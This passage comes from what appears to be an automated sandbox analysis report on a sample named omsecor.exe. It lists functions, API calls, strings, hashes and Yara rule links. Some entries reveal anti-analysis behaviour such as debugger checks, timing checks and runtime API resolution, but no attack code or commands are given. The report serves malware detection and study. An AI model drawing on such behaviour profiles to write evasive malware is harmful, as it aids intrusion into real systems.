w,@, xrefs: 00406CA0
Build, xrefs: 00406CA6

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Analysis Process: omsecor.exePID: 7440, Parent PID: 396COMMON

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,6D368A53), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Microsoft Visual C++ Runtime Library, xrefs: 004025BC
..., xrefs: 0040254D
Runtime Error!Program: , xrefs: 004024C0
<program name unknown>, xrefs: 00402508

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

FlsSetValue, xrefs: 00401EAD
FlsFree, xrefs: 00401EBA
FlsAlloc, xrefs: 00401E98
KERNEL32.DLL, xrefs: 00401E77
FlsGetValue, xrefs: 00401EA0

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

GetProcessWindowStation, xrefs: 00404916
USER32.DLL, xrefs: 0040487C
GetLastActivePopup, xrefs: 004048C2
GetActiveWindow, xrefs: 004048AD
GetUserObjectInformationA, xrefs: 004048FE
MessageBoxA, xrefs: 00404897

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

KERNEL32.DLL, xrefs: 00401C13
EncodePointer, xrefs: 00401C3E
DecodePointer, xrefs: 00401C54

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

